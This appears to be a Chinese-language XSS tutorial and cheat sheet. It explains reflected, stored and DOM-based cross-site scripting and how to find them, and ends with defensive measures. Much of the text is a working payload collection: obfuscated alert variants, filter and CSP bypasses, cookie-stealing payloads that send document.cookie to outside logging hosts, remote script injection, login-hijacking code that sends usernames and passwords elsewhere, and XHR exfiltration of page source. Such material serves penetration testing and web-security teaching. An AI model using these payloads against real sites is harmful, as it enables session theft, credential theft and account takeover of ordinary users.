定义
跨站脚本(英语:Cross-site scripting
,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许攻击者将恶意代码注入到前端网页上,其他用户在浏览网页时就会执行恶意代码而受到影响。
[!NOTE]
跨站脚本本来的缩写为CSS,但为了与层叠样式表(Cascading Style Sheets,CSS)的缩写进行区分,因此将跨站脚本攻击缩写为XSS
[!TIP]
既然是代码注入,那肯定也是在某些地方执行了特定的代码
本质是攻击者在web页面插入恶意的script代码(这个代码可以是JS脚本、CSS样式或者其他意料之外的前端代码),当用户浏览该页面之时,嵌入其中的script代码会被执行,从而达到恶意攻击用户的目的。比如读取cookie,session,tokens,或者网站其他敏感的网站信息,对用户进行钓鱼欺诈等
[!NOTE]
多说一句,这个漏洞是客户端的问题,基本上对服务端不会造成影响,主要是影响客户端,也就是影响用户的漏洞
危害
- 盗取身份信息,窃取会话Cookie从而窃取网站用户隐私、包括账户、浏览历史、IP等
- 未授权操作,通过JS发起敏感操作请求
- 按键记录和钓鱼
- 更广泛的蠕虫传播,借助网站进行传播,使网站的使用用户受到攻击。
- 劫持用户会话,从而知悉任意操作,比如弹窗跳转、篡改页面、网页挂马。
[!NOTE]
个人感觉最重要的有两点:
- 获取敏感数据,如cookie、个人信息等
- 发起敏感操作,如修改密码、新建工单等
简而言之,就是所有js能做到的事,它都能做到
XSS分类
XSS主要分为三类:
- 反射型XSS
- 存储型XSS
- DOM型XSS
其中反射型、DOM-based型可以归类为非持久型XSS攻击,存储型归类为持久型XSS攻击
反射型XSS
[!NOTE]
payload不会存到数据库中,一般出现在查询页面(输入内容会直接返回的参数都可能存在反射型XSS)
反射型XSS,又称非持久型XSS,攻击相对于受害者而言是一次性的
攻击者诱导受害者点击包含恶意JavaSctipt代码的URL,当受害者点击这些精心设计的链接后,恶意代码会直接在受害者主机上的浏览器执行;恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本
一图胜千言
具体攻击流程如下:
- 攻击者将payload放置在url链接中(这是针对是GET型反射XSS)
- 用户点击该恶意链接
- web服务将XSS代码(JavaScript代码)以及视图返回给客户端
- 客户端解析视图以及XSS代码(JavaScript代码),并将执行结果发送到XSS平台
- 攻击者访问XSS平台,读取用户的敏感信息(Cookie)
存储型XSS
[!NOTE]
payload会存在数据库里面,一般出现在会将数据存储到数据库中并展示在前端页面的功能,如注册页、留言板等
存储型XSS是指应用程序将存在XSS payload的数据未进行过滤检查便存入到数据库中,当下一次从数据库中获取该数据时程序也未对其进行过滤,直接将其展示在前端,页面将会执行XSS payload攻击用户。
攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。
存储型XSS漏洞大多出现在留言板、评论区等会存放到数据库中且会在某些地方展示该数据的功能点,用户提交了包含XSS代码的留言到数据库,当目标用户查询留言时,那些留言的内容会直接返回到前端并执行恶意的XSS payload
具体攻击流程如下:
- 攻击者向web服务插入XSS代码
- web服务会将其结果存储到数据库中
- 用户正常访问web服务
- web服务将数据库的数据以及视图返回给前端,前端渲染视图并加载数据,其中数据里包含恶意XSS代码(JavaScript代码)
- 客户端渲染视图,加载XSS代码,并向攻击者的web服务发送敏感信息
- 攻击者读取用户的敏感信息
DOM型XSS
[!NOTE]
不与后端服务器交互数据,payload不会存到数据库中,也属于反射型的一种,通过dom操作前端输出的时候产生问题(相比于前两种较难挖掘,需要熟悉基础的js代码)
DOM,全称Document Object Model
,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式
客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从URL中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的JavaScript脚本,而这些脚本没有经过过滤,那么应用程序就可能受到DOM-based XSS
攻击。
需要特别注意以下的用户输入源 document.URL
、location.hash
、location.search
、document.referrer
等
具体攻击流程如下:
- 攻击者将payload放置在url链接中(这是针对是GET型反射XSS)
- 用户点击恶意链接,并打开浏览器
- 此时浏览器客户端并不会发起http请求到web服务,而是在浏览器客户端执行XSS(JavaScript代码)
- 此时将XSS代码执行结果发送给攻击者的恶意服务
- 攻击者访问自己的XSS平台并读取用户的敏感信息
各XSS区别
基础对比
反射型 | 存储型 | DOM型 | |
---|---|---|---|
攻击对象 | 需要攻击者主动寻找受害者并诱导其访问 | 广撒网,只要有用户访问对应的页面就会触发,危害性更大,范围更广 | 需要攻击者主动寻找受害者并诱导其访问(同反射型) |
持久性 | 一次性 | 只要服务器不宕机,payload不被手动删除,就一直存在 | 一次性 |
触发点 | 网站中直接返回参数内容的功能点 | 网站中将数据直接存储到数据库中,后直接返回数据在前端展示的功能点 | 取决于DOM节点 |
反射型XSS与DOM型XSS区别
1、反射型XSS攻击中,服务器在返回HTML文档的时候,就已经包含了恶意的脚本;
2、DOM型ⅩSS攻击中,服务器在返回HTML文档的时候,是不包含恶意脚本的;恶意脚本是在浏览器执行了正常脚本后,才被注入到文档里的
[!TIP]
一句话区分:反射型XSS可以直接在服务端返回的html中看到payload,而DOM型XSS不行
XSS与CSRF的区别
面试常问
类别 | 特征 |
---|---|
XSS | 1、主要是加载JavaScript代码,在客户端执行 2、虽然经过后端,数据库(存储型),但主要需要客户端执行XSS代码,才能生效 3、DOM型XSS一定不经过后端,只是对浏览器客户端发起的攻击 4、XSS攻击针对的是用户层面的攻击 (攻击客户端) |
CSRF | 1、主要是欺骗服务器,虽然是由用户发起,但是服务器无法判断是否是不是用户想要发起的请求 2、一定会经过后端处理,不然无法执行 3、CSRF是一种身份伪造攻击,来对服务器进行欺骗的一种攻击手法 |
XSS挖掘
黑盒测试
分析数据包,所有可控参数都可以输入payload进行尝试,一般可以先输入一些常规标签如
h1
、img
等进行确认- 直接返回输入内容就可能存在反射型XSS
- 在页面中进行特定渲染则可能存在DOM型XSS
直接存储到数据库中则可能存在存储型XSS
当然这些都需要后期的二次确认
有时候也可将返回页面中的一些关键词进行构造参数拼接,再进行如上的检查,如以下html代码:
<script>
var imgErrorLen=0;
</script>
<input type="hidden" name="ie" value="utf-8">
此时就可以尝试构造参数 imgErrorLen=<h1>123</h1>&ie=<h1>123</h1>
拼接
[!TIP] 可以维护一个XSS的Fuzz字典,这样可以快速辅助发现XSS漏洞,不需要一个一个手动去输入
白盒测试
关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。
- PHP中常见的接收参数的方式有
$_GET
、$_POST
、$_REQUEST
等等,可以搜索所有接收参数的地方,然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。 - 也可以搜索类似
echo
这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。 - 大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。
- 同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。
常见业务场景
- 重灾区:评论区、留言区、个人信息、订单信息等
- 针对型:站内信、网页即时通讯、私信、意见反馈
- 存在风险:搜索框、当前目录、图片属性、自定义头像链接等
常见Payload
XSS主要是针对浏览器客户端的一种攻击,需要执行JavaScript代码,那么无疑需要使用到JavaScript语言以及在HTML中可以加载JavaScript的标签
速查表
探测器
快速查看过滤了哪些字符
'';!--"<h1>=&{()}</h1>
常用基础payload
基于标签
<--`<img/src=` onerror=confirm``> --!>
<Details Open OnToggle =co\u006efirm`XSS`>
<SCRIPT SRC=http://damit5.kiwi/xss.js></SCRIPT>
<SVG ONLOAD=alert(1)>
<a href=1 onmouseover=alert(1)>nmask</a>
<a href="javascript:confirm('xxx')" target="_blank" rel="nofollow">你可以点击我触发</a>
<body onhashchange=a=alert,a(document.domain)> <!-- # http://xxx.xxx.xxx#123 http://xxx.xxx.xxx#124 触发 -->
<body/onpageshow=alert(1)>
<body onpageshow=alert(1)>
<details/open/ontoggle=top["al"+"ert"](1)>
<discard onbegin=[1].find(alert)>
<iframe src=javascript:alert(1)>
<img src/*sv=x */onerror=alert()>
<img src onerror=alt=''+document.domain>
<img src="X" onerror=(a=alert,b=document['\x63\x6f\x6f\x6b\x69\x65'],a(b))>
<img src="X" onerror=top[8680439..toString(30)](1337)>
<img src="x:alert" onerror="eval(src+'(0)')">
<img src=# onerror=a=alert,a(1)>
<img src=0 onerror=confirm('1')>
<img src=1 onmouseover=alert(1)>
<img src=x onerror=setInterval`alert\x28document.domain\x29`>
<img src=x onerror=setTimeout`alert\x28document.cookie\x29`>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img/src/onerror=alert(1)>
<input class="" name="roots" id="roots" type="text" value=1 onfocus=alert(11) autofocus=>
<input type="hidden" name="returnurl" value="" accesskey="X" onclick="alert(document.domain)" /> <!--针对 hidden 的 input 标签,firefox下 shift+alt+X 成功-->
<input type=text autofocus/onfocus='prompt(1);'/>//
<input type="hidden" oncontentvisibilityautostatechange="alert(/new chrome/)" style="content-visibility:auto"> <!-- 新版chrome input hidden的情况下,可以直接触发 -->
<marquee onstart=alert(1)>
<video autoplay onloadstart="alert()" src=x></video>
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src=x></video>
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
<marquee loop=1 onFinish='alert(1)'>123</marquee> <!-- # 滚动标签 -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<script>a=prompt;a(1)</script>
: </script><embed/embed/embed/src=https://14.rs>
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> <!--用分号,也可以分号+空格(回车一起使用)-->
<script>window.a==1?1:prompt(a=1)</script>
<svg/onload="[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\61\51')()">
<svg/onload=[document.cookie].find(alert)>
<svg/onload=alert(1)>
<svg/onload=alert(1)>
<svg/onload=top['al\145rt'](1)>
<svg/onload=top[/al/.source+/ert/.source](1)>
<x/oncut=alert(1)>a
<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg>
<svg><use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGxvY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zdmc+#rectangle"/></svg>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
基于事件
上面基于标签中也有很多基于事件的了,遇到可以用事件的也可以参考下上面的事件
onclick=document.write(document.cookie)
self[Object.keys(self)[5]]("foo") // alert("foo")
constructor.constructor(alert(1))
eval('alert(1)')
[1].find(alert);
[self.alert(1)]
top['al\x65rt'](2);
top["al"+"ert"](3);
setTimeout('ale'+'rt(4)');
Function("ale"+"rt(5)")();
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
new Function`al\ert\`6\``;
setInterval('ale'+'rt(7)');
top[/al/.source+/ert/.source](9);
open('java'+'script:ale'+'rt(10)');
top[8680439..toString(30)](8); // 使用parseInt("alert",30)生成
self[9350252032..toString(30)](1) // confirm(1)
除了常见的一些事件onerror
、onclick
等之外,js还有很多的事件,参考如下:
- https://developer.mozilla.org/zh-CN/docs/Web/Events
- https://www.w3schools.cn/jsref/dom_obj_event.asp
基于伪协议
如果URL跳转的地址可控,且存在于<a>
标签中,就可以利用伪协议来XSS
javascript://www.baidu.com/%E2%80%A8alert(1)
javascript:location.href='http://127.0.0.1:8999/username='+document.getElementsByName('username')[1]._value+'&password='+document.getElementsByName('password')[1]._value
MarkDown XSS
列举几个,可以需要的时候github再去找
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
<javascript:alert('XSS')>
![a'"`onerror=prompt(document.cookie)](x)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
...
XML XSS
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//brutelogic.com.br/1.js"/>
获取Cookie手法
<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="js地址"></img>
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8vNjYuMTEyLjIxMy43Njo4MS9CbHVlTG90dXNfWFNTUmVjZWl2ZXIvdGVtcGxhdGUvZGVmYXVsdC5qcyc='))>
<img src="x" onerror="$.getScript('http://x.xsslog.cn/xxxxx')"> <!-- 需要 jquery 的支持 -->
<img/src/onerror=this.src='//baidu.com/?'+document.cookie>
<!--# 分段构造-->
<img/src/onerror=a=document;>
<img/src/onerror=s=a.createElement('script');>
<img/src/onerror=body.appendChild(s);>
<img/src/onerror=s.src='https://vxss.cc/r7K6'>
<svg/onload="document.location='http://72sf9a.ceye.io/?'+document.cookie">
登陆劫持手法
如果遇到登录页面存在XSS,那么就可以通过一些特殊的js代码来获取账号密码等,达到登陆劫持的目的
举一些例子,可以根据实际情况修改
输入就弹窗
<!-- 输入就弹窗,初始代码 -->
<input name="ccc" type="text" id="1" size="20" /><br />
<script>
var input = document.getElementById('1')
input.oninput = function(){
alert(input.value);
}
</script>
<!-- 输入就弹窗,缩一行 -->
<input name="ccc" type="text" id="xxx" size="20" /><br />
<svg/onload="var input = document.getElementById('xxx');input.oninput = function(){alert(input.value);}">
修改表单的action
<form action="xxx.php" method="post" id="sss">
<input type="text" name="xxx" id="xxx">
<input type="submit">
</form>
<svg/onload="var form1 = document.getElementById('sss');form1.action = 'http://127.0.0.1/out.php';">
<!-- 没有id 没有 name 可以通过 getElementsByTagName 来修改 -->
<svg/onload="var form1 = document.getElementsByTagName('form')[0];form1.action = 'http://127.0.0.1/out.php';">
通过增加按钮属性
$(".news[type=submit]")[0].setAttribute("onclick", "alert("Password:" + document.getElementsByName('Password')[0].value)")
跳转的登陆劫持
如果跳转的链接可控,也可以劫持到数据
redirectUrl=javascript:location.href='http://127.0.0.1:8999/username='+document.getElementsByName('username')[1]._value+'&password='+document.getElementsByName('password')[1]._value
获取敏感数据
发送xhr请求获取数据
通过xhr来获取敏感数据,有jquery更简单,只不过xhr比较通用
# 纯js请求获取token -> 正则表达式
<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST","https://m.gm7.org/",true);
xmlhttp.withCredentials = true;
xmlhttp.send();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
alert(xmlhttp.responseText);
}
}
</script>
获取当前页面源码
var xmlhttp;
if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
} else { // code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("POST", "http://dnslog.ceye.io/html_source", true);
xmlhttp.send(escape(document.location) + "=" + encodeURIComponent(document.getElementsByTagName('html')[0].innerHTML));
绕过
常规手法
一切的绕过都需要尽量知道他的过滤规则,分析出来过滤规则了利用起来就方便多了
常规的一些手法:
- 编码
- 注释
- 大小写
- 双写
- HPP参数污染
- 超长垃圾字符
通用编码手法
可以直接使用xss'or:https://evilcos.me/lab/xssor/
XSS'OR 编码后用在 on 事件之后 onerror=xss'or encode
,也可以用到eval
函数中 eval("xss'or encode")
<svg/onload=alert(/xss/)>
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029")</script>
常用编码:
- 第一个,html实体编码,例如:
alert()
- 第二个,进制类,例如:
\x61\x6c\x65\x72\x74\x60\x78\x73\x73\x60
,某些时候,也有不带x,例如:\5c\6a
- 第三个,Unicode,例如:
\u0061\u006c\u0065\u0072\u0074\u0060\u4e2d\u6587\u4e5f\u53ef\u4ee5\u0060
- 第四个,纯转义,例如:
\' \" \< \>
,这样的在特殊字符前加\进行转义。
其他编码手法:
忽略后续代码解析
如果可以控制HTML标签,且后续的代码执行后会影响到我们,那么可以尝试把后面的代码全部忽略掉:
# 注释
<!--
# 文本框标签
<textarea>
通过eval函数
上面也提到了,算是举例子吧
# 十六进制
<script>eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x78\x78\x78\x27\x29")</script>
# ASCII
<img src="javascript:alert(1)" onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,120,122,122,39,41))>
# 其他
<script>eval(String.\u0066\u0072\u006f\u006d\u0043\u0068\u0061\u0072\u0043\u006f\u0064\u0065(0x61,0x6c,0x65,0x72,0x74,0x28,0x31,0x29))</script>
绕过<过滤
大多数网站在防御时,都会给输入的<
进行编码处理,让我们误认为不存在XSS,但是我们不清楚后端是如何处理的,可能输入一些特殊的编码会被后端解码呢?
所以可以用如下的一些payload来遍历,看看有不有能让<
解码后使用的,达到我们XSS的目的
<
%3C
%253C
%25253C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
绕过关键词过滤
有些网站可能禁止使用一些关键词如document.cookie
,可以通过如下的方式来绕过
document . cookie
document/*xxx*/./*xxx*/cookie
绕过空格过滤
/**/
可以替代空格
<img st/**/src ="x"/**/onerror=alert(1)>
以及一些URL编码也可以代替空格
%0a
%0d
%09
%20
%00
绕过javascript过滤
javas\rcript:self[Object.keys(self)[6]](sessionStorage.getItem('_diskSessionId'))//
// http://example.com/redirect?url=javascript:alert()
document.location = 'javasc\tript:alert(123)'
document.location = 'javasc\rript:alert(123)'
document.location = 'javasc\nript:alert(123)'
绕过括号()过滤
alert`1`
prompt`${document.cookie}`
window.onerror=alert;throw 1
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<script type="text/javascript">window.onerror=alert;throw 1</script>
绕过长度限制
- 执行锚点后面的内容
location.hash
- 使用
import('//domain/file')
,这个需要使用同样的协议,加载的js的响应头中的content-type
为application/javascript
而且允许跨域加载Access-Control-Allow-Origin: *
参考文章 - 特殊的unicode字符:https://www.fuhaoku.net/danweifuhao/
利用JS全局变量绕过
- 全局变量
window
self
_self
this
top
parent
frames
- 一些payload,也可以参考 基于事件
window["document"]["cookie"]
window["alert"](window["document"]["cookie"])
self["alert"](self["document"/*xxx*/]["cookie"])
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
self["\x61\x6c\x65\x72\x74"](self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x6f\x6f\x6b\x69\x65"])
self["\x65\x76\x61\x6c"](self["\x61\x74\x6f\x62"]("ZG9jdW1lbnQuY29va2ll"))
// Jquery
self["$"]["globalEval"]("alert(1)")
// 高级用法,不出现alert等关键词,遍历全局变量找到对应的函数
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; } // 先搜索到alert函数的id
self[Object.keys(self)[5]]("foo") // alert("foo")
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} // 正则表达式匹配出alert然后定义函数a为alert
self[Object.keys(self)[a()]]("foo")
- 字符串转16进制(\x格式的)
import binascii
result = []
a = input("\t\t: ")
for i in a:
result.append(binascii.b2a_hex(i.encode()))
result = [i.decode() for i in result]
result = "\\x".join(result)
print ("\\x" + result)
绕过CSP
可以通过 https://csp-evaluator.withgoogle.com/ 检查一下CSP配置的安全性,如果提示有jsonp可以去bypass的,可以参考这个项目
详细完整各种方法可参考:https://book.hacktricks.xyz/v/cn/pentesting-web/content-security-policy-csp-bypass
或者通过如下html进行URL跳转(没啥实际危害,就一个URL跳转
<meta http-equiv="refresh" content="1;url=https://google.com/" >
常规防御
输入检查
1、假定所有输入都是可疑的,必须对所有输入中的<
、>
、'
、"
、on.*
、script
、iframe
等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie中的变量,HTTP请求头部中的变量等
常见过滤字符:
字符 | 说明 |
---|---|
| |
西文竖线符号 |
& | & 符号 |
; | 分号 |
$ | 美元符号 |
% | 百分比符号 |
@ | at 符号 |
' | 单引号 |
" | 引号 |
\' | 反斜杠转义单引号 |
\" | 反斜杠转义引号 |
<> |
尖括号 |
() | 括号 |
+ | 加号 |
CR | 回车符,ASCII 0x0d |
LF | 换行,ASCII 0x0a |
, | 逗号 |
\ | 反斜杠 |
= | 等号 |
2、验证用户输入的数据类型,数据长度,数据内容(最好客户端与服务端均进行验证,服务端验证是必须的)
- 如果数据类型为整型,则使用
intval
强制转换变量类型 - 如果用户输入是手机号,那么就需要判断是否是11位数字
- 如果数据内容为邮箱,则应使用正则取
A-Za-z0-9.@-_
范围内的值,其它字符则忽略掉
输出编码
对用户输入的不信任的内容均采用编码的方式输出到页面中,输出编码手段主要有3种编码:
- URL编码
- HTML编码
- JavaScript编码
常见需要编码的字符:
& --> &
< --> <
> --> >
" --> "
' --> '
/ --> /
使用httponly
HTTP-only Cookie:禁止JavaScript读取某些敏感Cookie,使得攻击者完成XSS注入后也无法成功窃取到Cookie
[!WARNING]
httponly无法完全的防御XSS漏洞,它只是规定了不能使用js去获取cookie的内容,因此它只能防御利用xss进行cookie劫持的问题
Httponly是在set-cookie
时标记的,可对单独某个cookie标记也可对所有cookie标记,由于设置httponly的方法比较简单,使用也很灵活,并且对防御cookie劫持非常有用,因此已经渐渐成为一种默认的标准
[!DANGER]
httponly在某些情况也是可以获取到cookie的
- 例如apache漏洞,默认用于状态代码400的错误应答存在缺陷,当没有配置定制
ErrorDocument
时利用此缺陷攻击者可以获得httpOnly cookie信息- 开启
TRACE
协议
使用CSP
Content Security Policy(内容安全策略):
- 禁止加载外域代码,防止复杂的攻击逻辑。
- 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
- 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
- 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
- 合理使用上报可以及时发现 XSS,利于尽快修复问题。
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机
可以参考mozilla的官方文档:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP
特殊防御
富文本编辑器XSS修复
富文本编辑器的XSS不同于其他地方,因为它本身是允许支持部分标签的,也就是说至少需要支持<>
修复建议有3点:
- 设置标签白名单,如仅允许
<a>
、<img>
等必须标签等 - 为白名单标签的属性设置白名单,如
<a>
仅允许使用href
属性等,同时限制属性中的内容防止伪协议造成XSS漏洞,禁止出现on.*
等事件属性
URL可控
由于某些地方URL可控,使用javascript
等伪协议仍然可以触发XSS漏洞,如
<a href="{xss payload}">Test</a>
这个时候修复则需要两步进行修复:
- 验证URL是否以
http(s)://
开头,如果不是则自动添加或拒绝请求,确保不会出现伪协议 - 对
http(s)://
后的内容进行URL编码处理
JSONP
部分网站由于跨域调用中callback
函数名可以自定义,可以将回调函数名修改为XSS语句导致XSS漏洞
修复也很简单,设置返回的header头即可,如下
Content-Type: application/json; charset=utf-8